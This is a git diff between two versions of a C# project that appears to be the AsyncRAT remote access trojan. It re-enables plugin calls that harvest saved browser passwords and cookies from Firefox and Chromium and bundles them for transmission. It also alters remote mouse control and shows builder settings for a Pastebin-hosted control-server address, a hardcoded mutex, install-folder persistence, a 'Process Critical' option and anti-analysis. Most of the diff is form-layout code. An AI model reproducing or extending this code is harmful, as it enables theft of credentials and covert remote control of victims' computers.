Compare commits

..

No commits in common. "master" and "v0.5.7B" have entirely different histories.

20 changed files with 283 additions and 808 deletions

View File

@ -11,11 +11,11 @@ namespace Plugin
try try
{ {
StringBuilder Credentials = new StringBuilder(); StringBuilder Credentials = new StringBuilder();
//new Browsers.Firefox.Firefox().CredRecovery(Credentials); new Browsers.Firefox.Firefox().CredRecovery(Credentials);
Browsers.Chromium.Chromium.Recovery(Credentials); Browsers.Chromium.Chromium.Recovery(Credentials);
StringBuilder Cookies = new StringBuilder(); StringBuilder Cookies = new StringBuilder();
//new Browsers.Firefox.Firefox().CookiesRecovery(Cookies); new Browsers.Firefox.Firefox().CookiesRecovery(Cookies);
//new Browsers.Chromium.Chromium().CookiesRecovery(Cookies); //new Browsers.Chromium.Chromium().CookiesRecovery(Cookies);
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();

View File

@ -38,11 +38,14 @@
<HintPath>..\..\..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll</HintPath> <HintPath>..\..\..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll</HintPath>
</Reference> </Reference>
<Reference Include="Microsoft.VisualBasic" /> <Reference Include="Microsoft.VisualBasic" />
<Reference Include="Newtonsoft.Json, Version=13.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL"> <Reference Include="Newtonsoft.Json, Version=12.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
<HintPath>..\..\..\packages\Newtonsoft.Json.13.0.3\lib\net40\Newtonsoft.Json.dll</HintPath> <HintPath>..\..\..\packages\Newtonsoft.Json.12.0.3\lib\net40\Newtonsoft.Json.dll</HintPath>
</Reference> </Reference>
<Reference Include="System" /> <Reference Include="System" />
<Reference Include="System.Core" /> <Reference Include="System.Core" />
<Reference Include="System.Data.SQLite, Version=1.0.112.1, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL">
<HintPath>..\..\..\packages\System.Data.SQLite.Core.1.0.112.1\lib\net40\System.Data.SQLite.dll</HintPath>
</Reference>
<Reference Include="System.Security" /> <Reference Include="System.Security" />
<Reference Include="System.Xml.Linq" /> <Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" /> <Reference Include="System.Data.DataSetExtensions" />
@ -56,6 +59,10 @@
<Compile Include="Browsers\Chromium\BCrypt.cs" /> <Compile Include="Browsers\Chromium\BCrypt.cs" />
<Compile Include="Browsers\Chromium\Chromium.cs" /> <Compile Include="Browsers\Chromium\Chromium.cs" />
<Compile Include="Browsers\CredentialModel.cs" /> <Compile Include="Browsers\CredentialModel.cs" />
<Compile Include="Browsers\Firefox\Cookies\FFCookiesGrabber.cs" />
<Compile Include="Browsers\Firefox\FFDecryptor.cs" />
<Compile Include="Browsers\Firefox\Firefox.cs" />
<Compile Include="Browsers\Firefox\FirefoxPassReader.cs" />
<Compile Include="Browsers\IPassReader.cs" /> <Compile Include="Browsers\IPassReader.cs" />
<Compile Include="Browsers\SQLiteHandler.cs" /> <Compile Include="Browsers\SQLiteHandler.cs" />
<Compile Include="Connection.cs" /> <Compile Include="Connection.cs" />
@ -77,8 +84,10 @@
<PropertyGroup> <PropertyGroup>
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText> <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
</PropertyGroup> </PropertyGroup>
<Error Condition="!Exists('..\..\..\packages\System.Data.SQLite.Core.1.0.112.1\build\net40\System.Data.SQLite.Core.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\System.Data.SQLite.Core.1.0.112.1\build\net40\System.Data.SQLite.Core.targets'))" />
<Error Condition="!Exists('..\..\..\packages\Fody.6.0.0\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\Fody.6.0.0\build\Fody.targets'))" /> <Error Condition="!Exists('..\..\..\packages\Fody.6.0.0\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\Fody.6.0.0\build\Fody.targets'))" />
<Error Condition="!Exists('..\..\..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props'))" /> <Error Condition="!Exists('..\..\..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props'))" />
</Target> </Target>
<Import Project="..\..\..\packages\System.Data.SQLite.Core.1.0.112.1\build\net40\System.Data.SQLite.Core.targets" Condition="Exists('..\..\..\packages\System.Data.SQLite.Core.1.0.112.1\build\net40\System.Data.SQLite.Core.targets')" />
<Import Project="..\..\..\packages\Fody.6.0.0\build\Fody.targets" Condition="Exists('..\..\..\packages\Fody.6.0.0\build\Fody.targets')" /> <Import Project="..\..\..\packages\Fody.6.0.0\build\Fody.targets" Condition="Exists('..\..\..\packages\Fody.6.0.0\build\Fody.targets')" />
</Project> </Project>

View File

@ -2,5 +2,6 @@
<packages> <packages>
<package id="Costura.Fody" version="4.1.0" targetFramework="net40" /> <package id="Costura.Fody" version="4.1.0" targetFramework="net40" />
<package id="Fody" version="6.0.0" targetFramework="net40" developmentDependency="true" /> <package id="Fody" version="6.0.0" targetFramework="net40" developmentDependency="true" />
<package id="Newtonsoft.Json" version="13.0.3" targetFramework="net40" /> <package id="Newtonsoft.Json" version="12.0.3" targetFramework="net40" />
<package id="System.Data.SQLite.Core" version="1.0.112.1" targetFramework="net40" />
</packages> </packages>

View File

@ -38,13 +38,16 @@ namespace Plugin
case "mouseClick": case "mouseClick":
{ {
//Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
// Cursor.Position = position;
mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1); mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1);
break; break;
} }
case "mouseMove": case "mouseMove":
{ {
SetCursorPos(Convert.ToInt32(unpack_msgpack.ForcePathObject("X").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Y").AsInteger)); Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
Cursor.Position = position;
break; break;
} }
@ -169,9 +172,6 @@ namespace Plugin
[DllImport("user32.dll")] [DllImport("user32.dll")]
static extern bool GetCursorInfo(out CURSORINFO pci); static extern bool GetCursorInfo(out CURSORINFO pci);
[DllImport("user32.dll")]
internal static extern bool SetCursorPos(int x, int y);
[DllImport("user32.dll")] [DllImport("user32.dll")]
static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon); static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon);
const Int32 CURSOR_SHOWING = 0x00000001; const Int32 CURSOR_SHOWING = 0x00000001;

View File

@ -21,7 +21,7 @@
<value>True</value> <value>True</value>
</setting> </setting>
<setting name="Mutex" serializeAs="String"> <setting name="Mutex" serializeAs="String">
<value /> <value>AsyncMutex_6SI8OkPnk</value>
</setting> </setting>
<setting name="Pastebin" serializeAs="String"> <setting name="Pastebin" serializeAs="String">
<value>https://pastebin.com/raw/s14cUU5G</value> <value>https://pastebin.com/raw/s14cUU5G</value>

View File

@ -127,11 +127,9 @@ namespace Server.Forms
this.groupBox1.Controls.Add(this.label6); this.groupBox1.Controls.Add(this.label6);
this.groupBox1.Controls.Add(this.textPort); this.groupBox1.Controls.Add(this.textPort);
this.groupBox1.Controls.Add(this.label2); this.groupBox1.Controls.Add(this.label2);
this.groupBox1.Location = new System.Drawing.Point(4, 12); this.groupBox1.Location = new System.Drawing.Point(6, 19);
this.groupBox1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.groupBox1.Name = "groupBox1"; this.groupBox1.Name = "groupBox1";
this.groupBox1.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2); this.groupBox1.Size = new System.Drawing.Size(587, 437);
this.groupBox1.Size = new System.Drawing.Size(391, 284);
this.groupBox1.TabIndex = 1; this.groupBox1.TabIndex = 1;
this.groupBox1.TabStop = false; this.groupBox1.TabStop = false;
this.groupBox1.Text = "Connection"; this.groupBox1.Text = "Connection";
@ -139,10 +137,9 @@ namespace Server.Forms
// btnRemoveIP // btnRemoveIP
// //
this.btnRemoveIP.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.btnRemoveIP.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.btnRemoveIP.Location = new System.Drawing.Point(127, 101); this.btnRemoveIP.Location = new System.Drawing.Point(190, 156);
this.btnRemoveIP.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.btnRemoveIP.Name = "btnRemoveIP"; this.btnRemoveIP.Name = "btnRemoveIP";
this.btnRemoveIP.Size = new System.Drawing.Size(29, 17); this.btnRemoveIP.Size = new System.Drawing.Size(43, 26);
this.btnRemoveIP.TabIndex = 18; this.btnRemoveIP.TabIndex = 18;
this.btnRemoveIP.Text = "-"; this.btnRemoveIP.Text = "-";
this.btnRemoveIP.UseVisualStyleBackColor = true; this.btnRemoveIP.UseVisualStyleBackColor = true;
@ -151,10 +148,9 @@ namespace Server.Forms
// btnAddIP // btnAddIP
// //
this.btnAddIP.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.btnAddIP.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.btnAddIP.Location = new System.Drawing.Point(48, 101); this.btnAddIP.Location = new System.Drawing.Point(72, 156);
this.btnAddIP.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.btnAddIP.Name = "btnAddIP"; this.btnAddIP.Name = "btnAddIP";
this.btnAddIP.Size = new System.Drawing.Size(29, 17); this.btnAddIP.Size = new System.Drawing.Size(43, 26);
this.btnAddIP.TabIndex = 17; this.btnAddIP.TabIndex = 17;
this.btnAddIP.Text = "+"; this.btnAddIP.Text = "+";
this.btnAddIP.UseVisualStyleBackColor = true; this.btnAddIP.UseVisualStyleBackColor = true;
@ -163,37 +159,34 @@ namespace Server.Forms
// listBoxIP // listBoxIP
// //
this.listBoxIP.FormattingEnabled = true; this.listBoxIP.FormattingEnabled = true;
this.listBoxIP.Location = new System.Drawing.Point(48, 43); this.listBoxIP.ItemHeight = 20;
this.listBoxIP.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); this.listBoxIP.Location = new System.Drawing.Point(72, 66);
this.listBoxIP.Name = "listBoxIP"; this.listBoxIP.Name = "listBoxIP";
this.listBoxIP.Size = new System.Drawing.Size(109, 56); this.listBoxIP.Size = new System.Drawing.Size(161, 84);
this.listBoxIP.TabIndex = 16; this.listBoxIP.TabIndex = 16;
// //
// textIP // textIP
// //
this.textIP.Location = new System.Drawing.Point(48, 22); this.textIP.Location = new System.Drawing.Point(72, 34);
this.textIP.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.textIP.Name = "textIP"; this.textIP.Name = "textIP";
this.textIP.Size = new System.Drawing.Size(109, 20); this.textIP.Size = new System.Drawing.Size(161, 26);
this.textIP.TabIndex = 15; this.textIP.TabIndex = 15;
// //
// label1 // label1
// //
this.label1.AutoSize = true; this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(12, 24); this.label1.Location = new System.Drawing.Point(18, 37);
this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label1.Name = "label1"; this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(30, 13); this.label1.Size = new System.Drawing.Size(43, 20);
this.label1.TabIndex = 14; this.label1.TabIndex = 14;
this.label1.Text = "DNS"; this.label1.Text = "DNS";
// //
// btnRemovePort // btnRemovePort
// //
this.btnRemovePort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.btnRemovePort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.btnRemovePort.Location = new System.Drawing.Point(320, 101); this.btnRemovePort.Location = new System.Drawing.Point(480, 156);
this.btnRemovePort.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.btnRemovePort.Name = "btnRemovePort"; this.btnRemovePort.Name = "btnRemovePort";
this.btnRemovePort.Size = new System.Drawing.Size(29, 17); this.btnRemovePort.Size = new System.Drawing.Size(43, 26);
this.btnRemovePort.TabIndex = 13; this.btnRemovePort.TabIndex = 13;
this.btnRemovePort.Text = "-"; this.btnRemovePort.Text = "-";
this.btnRemovePort.UseVisualStyleBackColor = true; this.btnRemovePort.UseVisualStyleBackColor = true;
@ -202,10 +195,9 @@ namespace Server.Forms
// btnAddPort // btnAddPort
// //
this.btnAddPort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.btnAddPort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.btnAddPort.Location = new System.Drawing.Point(241, 101); this.btnAddPort.Location = new System.Drawing.Point(362, 156);
this.btnAddPort.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.btnAddPort.Name = "btnAddPort"; this.btnAddPort.Name = "btnAddPort";
this.btnAddPort.Size = new System.Drawing.Size(29, 17); this.btnAddPort.Size = new System.Drawing.Size(43, 26);
this.btnAddPort.TabIndex = 12; this.btnAddPort.TabIndex = 12;
this.btnAddPort.Text = "+"; this.btnAddPort.Text = "+";
this.btnAddPort.UseVisualStyleBackColor = true; this.btnAddPort.UseVisualStyleBackColor = true;
@ -214,19 +206,18 @@ namespace Server.Forms
// listBoxPort // listBoxPort
// //
this.listBoxPort.FormattingEnabled = true; this.listBoxPort.FormattingEnabled = true;
this.listBoxPort.Location = new System.Drawing.Point(241, 43); this.listBoxPort.ItemHeight = 20;
this.listBoxPort.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); this.listBoxPort.Location = new System.Drawing.Point(362, 66);
this.listBoxPort.Name = "listBoxPort"; this.listBoxPort.Name = "listBoxPort";
this.listBoxPort.Size = new System.Drawing.Size(109, 56); this.listBoxPort.Size = new System.Drawing.Size(161, 84);
this.listBoxPort.TabIndex = 10; this.listBoxPort.TabIndex = 10;
// //
// chkPastebin // chkPastebin
// //
this.chkPastebin.AutoSize = true; this.chkPastebin.AutoSize = true;
this.chkPastebin.Location = new System.Drawing.Point(15, 200); this.chkPastebin.Location = new System.Drawing.Point(22, 307);
this.chkPastebin.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.chkPastebin.Name = "chkPastebin"; this.chkPastebin.Name = "chkPastebin";
this.chkPastebin.Size = new System.Drawing.Size(89, 17); this.chkPastebin.Size = new System.Drawing.Size(130, 24);
this.chkPastebin.TabIndex = 9; this.chkPastebin.TabIndex = 9;
this.chkPastebin.Text = "Use Pastebin"; this.chkPastebin.Text = "Use Pastebin";
this.toolTip1.SetToolTip(this.chkPastebin, "IP:PORT .. Example 127.0.0.1:6606"); this.toolTip1.SetToolTip(this.chkPastebin, "IP:PORT .. Example 127.0.0.1:6606");
@ -237,10 +228,9 @@ namespace Server.Forms
// //
this.txtPastebin.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Pastebin", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtPastebin.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Pastebin", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtPastebin.Enabled = false; this.txtPastebin.Enabled = false;
this.txtPastebin.Location = new System.Drawing.Point(71, 229); this.txtPastebin.Location = new System.Drawing.Point(106, 352);
this.txtPastebin.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtPastebin.Name = "txtPastebin"; this.txtPastebin.Name = "txtPastebin";
this.txtPastebin.Size = new System.Drawing.Size(182, 20); this.txtPastebin.Size = new System.Drawing.Size(271, 26);
this.txtPastebin.TabIndex = 8; this.txtPastebin.TabIndex = 8;
this.txtPastebin.Text = global::Server.Properties.Settings.Default.Pastebin; this.txtPastebin.Text = global::Server.Properties.Settings.Default.Pastebin;
this.toolTip1.SetToolTip(this.txtPastebin, "IP:PORT .. Example 127.0.0.1:6606"); this.toolTip1.SetToolTip(this.txtPastebin, "IP:PORT .. Example 127.0.0.1:6606");
@ -248,28 +238,25 @@ namespace Server.Forms
// label6 // label6
// //
this.label6.AutoSize = true; this.label6.AutoSize = true;
this.label6.Location = new System.Drawing.Point(9, 231); this.label6.Location = new System.Drawing.Point(14, 355);
this.label6.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label6.Name = "label6"; this.label6.Name = "label6";
this.label6.Size = new System.Drawing.Size(48, 13); this.label6.Size = new System.Drawing.Size(71, 20);
this.label6.TabIndex = 7; this.label6.TabIndex = 7;
this.label6.Text = "Pastebin"; this.label6.Text = "Pastebin";
// //
// textPort // textPort
// //
this.textPort.Location = new System.Drawing.Point(241, 22); this.textPort.Location = new System.Drawing.Point(362, 34);
this.textPort.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.textPort.Name = "textPort"; this.textPort.Name = "textPort";
this.textPort.Size = new System.Drawing.Size(109, 20); this.textPort.Size = new System.Drawing.Size(161, 26);
this.textPort.TabIndex = 6; this.textPort.TabIndex = 6;
// //
// label2 // label2
// //
this.label2.AutoSize = true; this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(205, 24); this.label2.Location = new System.Drawing.Point(308, 37);
this.label2.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label2.Name = "label2"; this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(26, 13); this.label2.Size = new System.Drawing.Size(38, 20);
this.label2.TabIndex = 3; this.label2.TabIndex = 3;
this.label2.Text = "Port"; this.label2.Text = "Port";
// //
@ -280,11 +267,9 @@ namespace Server.Forms
this.groupBox2.Controls.Add(this.textFilename); this.groupBox2.Controls.Add(this.textFilename);
this.groupBox2.Controls.Add(this.label3); this.groupBox2.Controls.Add(this.label3);
this.groupBox2.Controls.Add(this.label4); this.groupBox2.Controls.Add(this.label4);
this.groupBox2.Location = new System.Drawing.Point(4, 11); this.groupBox2.Location = new System.Drawing.Point(6, 17);
this.groupBox2.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.groupBox2.Name = "groupBox2"; this.groupBox2.Name = "groupBox2";
this.groupBox2.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2); this.groupBox2.Size = new System.Drawing.Size(585, 439);
this.groupBox2.Size = new System.Drawing.Size(390, 285);
this.groupBox2.TabIndex = 7; this.groupBox2.TabIndex = 7;
this.groupBox2.TabStop = false; this.groupBox2.TabStop = false;
this.groupBox2.Text = "Install"; this.groupBox2.Text = "Install";
@ -297,19 +282,17 @@ namespace Server.Forms
this.comboBoxFolder.Items.AddRange(new object[] { this.comboBoxFolder.Items.AddRange(new object[] {
"%AppData%", "%AppData%",
"%Temp%"}); "%Temp%"});
this.comboBoxFolder.Location = new System.Drawing.Point(69, 97); this.comboBoxFolder.Location = new System.Drawing.Point(103, 149);
this.comboBoxFolder.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.comboBoxFolder.Name = "comboBoxFolder"; this.comboBoxFolder.Name = "comboBoxFolder";
this.comboBoxFolder.Size = new System.Drawing.Size(182, 21); this.comboBoxFolder.Size = new System.Drawing.Size(271, 28);
this.comboBoxFolder.TabIndex = 8; this.comboBoxFolder.TabIndex = 8;
// //
// checkBox1 // checkBox1
// //
this.checkBox1.AutoSize = true; this.checkBox1.AutoSize = true;
this.checkBox1.Location = new System.Drawing.Point(10, 19); this.checkBox1.Location = new System.Drawing.Point(15, 29);
this.checkBox1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.checkBox1.Name = "checkBox1"; this.checkBox1.Name = "checkBox1";
this.checkBox1.Size = new System.Drawing.Size(46, 17); this.checkBox1.Size = new System.Drawing.Size(67, 24);
this.checkBox1.TabIndex = 7; this.checkBox1.TabIndex = 7;
this.checkBox1.Text = "OFF"; this.checkBox1.Text = "OFF";
this.checkBox1.UseVisualStyleBackColor = true; this.checkBox1.UseVisualStyleBackColor = true;
@ -319,30 +302,27 @@ namespace Server.Forms
// //
this.textFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Filename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.textFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Filename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.textFilename.Enabled = false; this.textFilename.Enabled = false;
this.textFilename.Location = new System.Drawing.Point(69, 60); this.textFilename.Location = new System.Drawing.Point(103, 92);
this.textFilename.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.textFilename.Name = "textFilename"; this.textFilename.Name = "textFilename";
this.textFilename.Size = new System.Drawing.Size(182, 20); this.textFilename.Size = new System.Drawing.Size(271, 26);
this.textFilename.TabIndex = 5; this.textFilename.TabIndex = 5;
this.textFilename.Text = global::Server.Properties.Settings.Default.Filename; this.textFilename.Text = global::Server.Properties.Settings.Default.Filename;
// //
// label3 // label3
// //
this.label3.AutoSize = true; this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(7, 99); this.label3.Location = new System.Drawing.Point(11, 152);
this.label3.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label3.Name = "label3"; this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(36, 13); this.label3.Size = new System.Drawing.Size(54, 20);
this.label3.TabIndex = 3; this.label3.TabIndex = 3;
this.label3.Text = "Folder"; this.label3.Text = "Folder";
// //
// label4 // label4
// //
this.label4.AutoSize = true; this.label4.AutoSize = true;
this.label4.Location = new System.Drawing.Point(7, 62); this.label4.Location = new System.Drawing.Point(11, 95);
this.label4.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label4.Name = "label4"; this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(49, 13); this.label4.Size = new System.Drawing.Size(74, 20);
this.label4.TabIndex = 4; this.label4.TabIndex = 4;
this.label4.Text = "Filename"; this.label4.Text = "Filename";
// //
@ -357,11 +337,9 @@ namespace Server.Forms
this.groupBox3.Controls.Add(this.txtMutex); this.groupBox3.Controls.Add(this.txtMutex);
this.groupBox3.Controls.Add(this.label5); this.groupBox3.Controls.Add(this.label5);
this.groupBox3.Controls.Add(this.chkAnti); this.groupBox3.Controls.Add(this.chkAnti);
this.groupBox3.Location = new System.Drawing.Point(4, 11); this.groupBox3.Location = new System.Drawing.Point(6, 17);
this.groupBox3.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.groupBox3.Name = "groupBox3"; this.groupBox3.Name = "groupBox3";
this.groupBox3.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2); this.groupBox3.Size = new System.Drawing.Size(585, 439);
this.groupBox3.Size = new System.Drawing.Size(390, 285);
this.groupBox3.TabIndex = 9; this.groupBox3.TabIndex = 9;
this.groupBox3.TabStop = false; this.groupBox3.TabStop = false;
this.groupBox3.Text = "MISC"; this.groupBox3.Text = "MISC";
@ -369,27 +347,24 @@ namespace Server.Forms
// txtGroup // txtGroup
// //
this.txtGroup.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Group", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtGroup.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Group", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtGroup.Location = new System.Drawing.Point(15, 49); this.txtGroup.Location = new System.Drawing.Point(23, 75);
this.txtGroup.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtGroup.Name = "txtGroup"; this.txtGroup.Name = "txtGroup";
this.txtGroup.Size = new System.Drawing.Size(202, 20); this.txtGroup.Size = new System.Drawing.Size(301, 26);
this.txtGroup.TabIndex = 17; this.txtGroup.TabIndex = 17;
this.txtGroup.Text = global::Server.Properties.Settings.Default.Group; this.txtGroup.Text = global::Server.Properties.Settings.Default.Group;
// //
// label17 // label17
// //
this.label17.AutoSize = true; this.label17.AutoSize = true;
this.label17.Location = new System.Drawing.Point(13, 28); this.label17.Location = new System.Drawing.Point(19, 43);
this.label17.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label17.Name = "label17"; this.label17.Name = "label17";
this.label17.Size = new System.Drawing.Size(36, 13); this.label17.Size = new System.Drawing.Size(54, 20);
this.label17.TabIndex = 16; this.label17.TabIndex = 16;
this.label17.Text = "Group"; this.label17.Text = "Group";
// //
// numDelay // numDelay
// //
this.numDelay.Location = new System.Drawing.Point(18, 239); this.numDelay.Location = new System.Drawing.Point(27, 368);
this.numDelay.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.numDelay.Maximum = new decimal(new int[] { this.numDelay.Maximum = new decimal(new int[] {
999, 999,
0, 0,
@ -401,7 +376,7 @@ namespace Server.Forms
0, 0,
0}); 0});
this.numDelay.Name = "numDelay"; this.numDelay.Name = "numDelay";
this.numDelay.Size = new System.Drawing.Size(56, 20); this.numDelay.Size = new System.Drawing.Size(84, 26);
this.numDelay.TabIndex = 15; this.numDelay.TabIndex = 15;
this.numDelay.Value = new decimal(new int[] { this.numDelay.Value = new decimal(new int[] {
3, 3,
@ -412,18 +387,16 @@ namespace Server.Forms
// label16 // label16
// //
this.label16.AutoSize = true; this.label16.AutoSize = true;
this.label16.Location = new System.Drawing.Point(15, 218); this.label16.Location = new System.Drawing.Point(23, 336);
this.label16.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label16.Name = "label16"; this.label16.Name = "label16";
this.label16.Size = new System.Drawing.Size(83, 13); this.label16.Size = new System.Drawing.Size(123, 20);
this.label16.TabIndex = 14; this.label16.TabIndex = 14;
this.label16.Text = "Delay (seconds)"; this.label16.Text = "Delay (seconds)";
// //
// pictureBox1 // pictureBox1
// //
this.pictureBox1.Image = global::Server.Properties.Resources.uac; this.pictureBox1.Image = global::Server.Properties.Resources.uac;
this.pictureBox1.Location = new System.Drawing.Point(122, 179); this.pictureBox1.Location = new System.Drawing.Point(183, 275);
this.pictureBox1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(32, 32); this.pictureBox1.Size = new System.Drawing.Size(32, 32);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
@ -433,10 +406,9 @@ namespace Server.Forms
// chkBdos // chkBdos
// //
this.chkBdos.AutoSize = true; this.chkBdos.AutoSize = true;
this.chkBdos.Location = new System.Drawing.Point(15, 184); this.chkBdos.Location = new System.Drawing.Point(23, 283);
this.chkBdos.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.chkBdos.Name = "chkBdos"; this.chkBdos.Name = "chkBdos";
this.chkBdos.Size = new System.Drawing.Size(98, 17); this.chkBdos.Size = new System.Drawing.Size(143, 24);
this.chkBdos.TabIndex = 12; this.chkBdos.TabIndex = 12;
this.chkBdos.Text = "Process Critical"; this.chkBdos.Text = "Process Critical";
this.chkBdos.UseVisualStyleBackColor = true; this.chkBdos.UseVisualStyleBackColor = true;
@ -444,31 +416,27 @@ namespace Server.Forms
// txtMutex // txtMutex
// //
this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtMutex.Location = new System.Drawing.Point(15, 106); this.txtMutex.Location = new System.Drawing.Point(23, 163);
this.txtMutex.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtMutex.Name = "txtMutex"; this.txtMutex.Name = "txtMutex";
this.txtMutex.Size = new System.Drawing.Size(202, 20); this.txtMutex.Size = new System.Drawing.Size(301, 26);
this.txtMutex.TabIndex = 11; this.txtMutex.TabIndex = 11;
this.txtMutex.Text = global::Server.Properties.Settings.Default.Mutex; this.txtMutex.Text = global::Server.Properties.Settings.Default.Mutex;
this.txtMutex.MouseEnter += new System.EventHandler(this.txtMutex_MouseEnter);
// //
// label5 // label5
// //
this.label5.AutoSize = true; this.label5.AutoSize = true;
this.label5.Location = new System.Drawing.Point(13, 85); this.label5.Location = new System.Drawing.Point(19, 131);
